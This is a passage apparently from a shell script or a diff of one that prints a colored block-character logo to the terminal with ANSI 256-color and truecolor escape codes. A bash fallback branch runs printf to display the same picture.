\e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m + \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m + \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m + \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m + \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m + \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m + \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m + \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m + \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m + \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m + \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m + \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m + \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m + \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m +'"; + else + if [ -f "/bin/bash" ]; then + /bin/bash -c "printf ' + \e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m + \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m + \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m + \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m + \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m + \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m + \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m + \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m + \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m + \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m + \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m + \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m 